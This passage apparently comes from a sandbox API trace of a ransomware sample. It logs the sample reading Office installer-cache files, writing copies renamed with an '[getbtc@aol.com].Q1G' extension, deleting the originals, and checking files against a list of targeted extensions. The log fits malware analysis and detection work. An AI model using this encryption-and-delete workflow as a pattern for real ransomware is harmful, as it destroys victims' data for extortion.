users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.776] GetLastError () returned 0x0 [0047.776] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0047.789] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0048.022] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.022] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.089] SetEndOfFile (hFile=0x1a8) returned 1 [0048.090] CloseHandle (hObject=0x1a8) returned 1 [0048.090] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.090] SetEndOfFile (hFile=0x1ec) returned 1 [0048.094] CloseHandle (hObject=0x1ec) returned 1 [0048.094] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.094] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0048.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.094] lstrlenW (lpString=".doc") returned 4 [0048.094] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.094] lstrlenW (lpString=".docx") returned 5 [0048.094] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0048.094] lstrlenW (lpString=".pdf") returned 4 [0048.094] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.094] lstrlenW (lpString=".xls") returned 4 [0048.095] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString=".xlsx") returned 5 [0048.095] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0048.095] lstrlenW (lpString=".ppt") returned 4 [0048.095] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.095] lstrlenW (lpString=".zip") returned 4 [0048.095] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString=".rar") returned 4 [0048.095] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString=".bz2") returned 4 [0048.095] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.095] lstrlenW (lpString=".7z") returned 3 [0048.095] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.095] lstrlenW (lpString=".dbf") returned 4 [0048.095] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.095] lstrlenW (lpString=".1cd") returned 4 [0048.095] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.095] lstrlenW (lpString=".jpg") returned 4 [0048.095] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.095] lstrlenW (lpString=".doc") returned 4 [0048.095] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.095] lstrlenW (lpString=".docx") returned 5 [0048.095] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0048.095] lstrlenW (lpString=".pdf") returned 4 [0048.095] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString=".xls") returned 4 [0048.095] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.095] lstrlenW (lpString=".xlsx") returned 5 [0048.095] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0048.095] lstrlenW (lpString=".ppt") returned 4 [0048.096] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.096] lstrlenW (lpString=".zip") returned 4 [0048.096] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.096] lstrlenW (lpString=".rar") returned 4 [0048.096] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.096] lstrlenW (lpString=".bz2") returned 4 [0048.096] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.096] lstrlenW (lpString=".7z") returned 3 [0048.096] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.096] lstrlenW (lpString=".dbf") returned 4 [0048.096] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.096] lstrlenW (lpString=".1cd") returned 4 [0048.096] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0048.096] lstrlenW (lpString=".jpg") returned 4 [0048.096] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.096] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0048.096] lstrlenW (lpString="osetupui.dll") returned 12 [0048.096] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.096] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=191872) returned 1 [0048.096] CloseHandle (hObject=0x1ec) returned 1 [0048.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0048.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.097] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.097] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.097] GetLastError () returned 0x0 [0048.097] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0048.214] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0048.219] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.219] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.219] SetEndOfFile (hFile=0x1a8) returned 1 [0048.219] CloseHandle (hObject=0x1a8) returned 1 [0048.219] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.219] SetEndOfFile (hFile=0x1ec) returned 1 [0048.221] CloseHandle (hObject=0x1ec) returned 1 [0048.221] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.221] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0048.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.221] lstrlenW (lpString=".doc") returned 4 [0048.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.221] lstrlenW (lpString=".docx") returned 5 [0048.221] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0048.221] lstrlenW (lpString=".pdf") returned 4 [0048.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.221] lstrlenW (lpString=".xls") returned 4 [0048.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.221] lstrlenW (lpString=".xlsx") returned 5 [0048.221] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0048.221] lstrlenW (lpString=".ppt") returned 4 [0048.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.221] lstrlenW (lpString=".zip") returned 4 [0048.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".rar") returned 4 [0048.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".bz2") returned 4 [0048.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.222] lstrlenW (lpString=".7z") returned 3 [0048.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.222] lstrlenW (lpString=".dbf") returned 4 [0048.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.222] lstrlenW (lpString=".1cd") returned 4 [0048.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.222] lstrlenW (lpString=".jpg") returned 4 [0048.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.222] lstrlenW (lpString=".doc") returned 4 [0048.222] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".docx") returned 5 [0048.222] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0048.222] lstrlenW (lpString=".pdf") returned 4 [0048.222] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".xls") returned 4 [0048.222] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".xlsx") returned 5 [0048.222] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0048.222] lstrlenW (lpString=".ppt") returned 4 [0048.222] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.222] lstrlenW (lpString=".zip") returned 4 [0048.222] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".rar") returned 4 [0048.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.222] lstrlenW (lpString=".bz2") returned 4 [0048.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.223] lstrlenW (lpString=".7z") returned 3 [0048.223] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.223] lstrlenW (lpString=".dbf") returned 4 [0048.223] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.223] lstrlenW (lpString=".1cd") returned 4 [0048.223] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0048.223] lstrlenW (lpString=".jpg") returned 4 [0048.223] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.223] lstrcmpiW (lpString1=".MST", lpString2=".Q1G") returned -1 [0048.223] lstrlenW (lpString="ShellUI.MST") returned 11 [0048.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.223] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=3584) returned 1 [0048.223] CloseHandle (hObject=0x1ec) returned 1 [0048.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0048.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.224] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.224] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.224] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.224] GetLastError () returned 0x0 [0048.224] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xe00, lpOverlapped=0x0) returned 1 [0048.250] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0048.251] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.251] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.251] SetEndOfFile (hFile=0x1a8) returned 1 [0048.251] CloseHandle (hObject=0x1a8) returned 1 [0048.251] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.251] SetEndOfFile (hFile=0x1ec) returned 1 [0048.252] CloseHandle (hObject=0x1ec) returned 1 [0048.252] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.252] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString=".doc") returned 4 [0048.253] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0048.253] lstrlenW (lpString=".docx") returned 5 [0048.253] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0048.253] lstrlenW (lpString=".pdf") returned 4 [0048.253] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0048.253] lstrlenW (lpString=".xls") returned 4 [0048.253] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0048.253] lstrlenW (lpString=".xlsx") returned 5 [0048.253] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0048.253] lstrlenW (lpString=".ppt") returned 4 [0048.253] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString=".zip") returned 4 [0048.253] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0048.253] lstrlenW (lpString=".rar") returned 4 [0048.253] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0048.253] lstrlenW (lpString=".bz2") returned 4 [0048.253] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0048.253] lstrlenW (lpString=".7z") returned 3 [0048.253] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString=".dbf") returned 4 [0048.253] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString=".1cd") returned 4 [0048.253] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString=".jpg") returned 4 [0048.253] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.253] lstrlenW (lpString=".doc") returned 4 [0048.254] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0048.254] lstrlenW (lpString=".docx") returned 5 [0048.254] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0048.254] lstrlenW (lpString=".pdf") returned 4 [0048.254] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0048.254] lstrlenW (lpString=".xls") returned 4 [0048.254] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0048.254] lstrlenW (lpString=".xlsx") returned 5 [0048.254] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0048.254] lstrlenW (lpString=".ppt") returned 4 [0048.254] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0048.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.254] lstrlenW (lpString=".zip") returned 4 [0048.254] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0048.254] lstrlenW (lpString=".rar") returned 4 [0048.254] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0048.254] lstrlenW (lpString=".bz2") returned 4 [0048.254] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0048.254] lstrlenW (lpString=".7z") returned 3 [0048.254] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0048.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.254] lstrlenW (lpString=".dbf") returned 4 [0048.254] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0048.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.254] lstrlenW (lpString=".1cd") returned 4 [0048.254] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0048.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0048.254] lstrlenW (lpString=".jpg") returned 4 [0048.254] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0048.254] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0048.254] lstrlenW (lpString="AccessMUI.msi") returned 13 [0048.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.255] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2517504) returned 1 [0048.255] CloseHandle (hObject=0x1ec) returned 1 [0048.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0048.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.256] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all 